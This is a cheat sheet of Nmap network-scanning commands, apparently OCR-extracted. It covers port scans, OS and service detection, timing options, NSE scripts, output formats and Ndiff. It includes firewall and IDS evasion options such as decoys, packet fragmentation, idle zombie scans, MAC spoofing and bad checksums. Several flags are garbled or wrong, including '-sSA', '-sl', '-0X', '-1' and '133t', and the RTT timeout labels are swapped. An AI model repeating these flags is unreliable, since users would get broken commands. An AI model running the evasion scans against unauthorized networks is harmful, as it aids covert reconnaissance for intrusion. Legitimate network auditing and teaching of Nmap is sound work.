Alternative DNS Lookup

nmap --system-dns [target]

Manually Specify DNS Server(s)

nmap --dns-servers [servers]
[target]

Create a Host List

nmap -sL [targets]

TCP SYN Scan

nmap -sS [target]

TCP Connect Scan

nmap -sT [target]

UDP Scan

nmap -sU [target]

TCP NULL Scan

nmap -sN [target]

TCP FIN Scan

nmap -sF [target]

Xmas Scan

nmap -sX [target]

TCP ACK Scan

nmap -sSA [target]

Custom TCP Scan

nmap --scanflags [flags]
[target]

IP Protocol Scan

nmap -sO [target]

Send Raw Ethernet Packets

nmap --send-eth [target]

Send IP Packets

nmap --send-ip [target]

Perform a Fast Scan

nmap -F [target]

Scan Specific Ports

nmap -p [port(s)] [target]

Scan Ports by Name

nmap -p [port name(s)] [target]

Scan Ports by Protocol

nmap -sU -sT -p U:[ports], T:
[ports]
[target]

Scan All Ports

nmap -p "*" [target]

Scan Top Ports

nmap --top-ports [number]
[target]

Perform a Sequential Port Scan

nmap -1 [target]

Operating System Detection

nmap -O [target]

Submit TCP/IP Fingerprints

www.nmap.org/submit/

Attempt to Guess an Unknown

nmap -O --osscan-guess
[target]

Service Version Detection

nmap -sV [target]

Troubleshooting Version Scans

nmap -sV --version-trace
[target]




Perform a RPC Scan

nmap -sR [target]

Timing Templates

nmap -T[0-5] [target]

Set the Packet TTL

nmap --ttl [time] [target]

Minimum # of Parallel Operations

nmap --min-parallelism
[number] [target]

Maximum # of Parallel Operations

nmap --max-parallelism
[number] [target]

Minimum Host Group Size

nmap --min-hostgroup
[number] [targets]

Maximum Host Group Size

nmap --max-hostgroup
[number] [targets]

Maximum RTT Timeout

nmap --initial-rtt-timeout [time]
[target]

Initial RTT Timeout

nmap --max-rtt-timeout [TTL]
[target]

Maximum Retries

nmap --max-retries [number]
[target]

Host Timeout

nmap --host-timeout [time]
[target]

Minimum Scan Delay

nmap --scan-delay [time]
[target]

Maximum Scan Delay

nmap --max-scan-delay [time]
[target]

Minimum Packet Rate

nmap --min-rate [number]
[target]

Maximum Packet Rate

nmap --max-rate [number]
[target]

Defeat Reset Rate Limits

nmap --defeat-rst-ratelimit
[target]

Fragment Packets

nmap -f [target]

Specify a Specific MTU

nmap --mtu [MTU] [target]

Use a Decoy

nmap -D RND:[number]
[target]

Idle Zombie Scan

nmap -sl [zombie] [target]

Manually Specify a Source Port

nmap --source-port [port]




[target]

Append Random Data

nmap --data-length [size]
[target]

Randomize Target Scan Order

nmap --randomize-hosts
[target]

Spoof MAC Address

nmap --spoof-mac
[MAC|O|vendor] [target]

Send Bad Checksums

nmap --badsum [target]

Save Output to a Text File

nmap -oN [scan.txt] [target]

Save Output to a XML File

nmap -0X [scan.xml] [target]

Grepable Output

nmap -0G [scan.txt] [targets]

Output All Supported File Types

nmap -0A [path/filename]
[target]

Periodically Display Statistics

nmap --stats-every [time]
[target]

133t Output nmap -0S [scan.txt] [target]
Getting Help nmap -h

Display Nmap Version nmap -V

Verbose Output nmap -v [target]
Debugging nmap -d [target]

Display Port State Reason nmap --reason [target]
Only Display Open Ports nmap --open [target]

Trace Packets

nmap --packet-trace [target]

Display Host Networking

nmap —iflist

Specify a Network Interface

nmap -e [interface] [target]

Execute Individual Scripts

nmap --script [script.nse]
[target]

Execute Multiple Scripts

nmap --script [expression]
[target]

Script Categories

all, auth, default, discovery,
external,
intrusive, malware, safe, vuln

Execute Scripts by Category

nmap --script [category] [target]

Execute Multiple Script Categories

nmap --script




[category1,category2,etc]

Troubleshoot Scripts

nmap --script [script] --script-
trace
[target]

Update the Script Database

nmap --script-updatedb

Comparison Using Ndiff

ndiff [scanl.xml] [scan2.xml]

Ndiff Verbose Mode

ndiff -v [scanl.xml]
[scan2.xml]

XML Output Mode

ndiff --xml [scanl.xml]
[scan2.xml]
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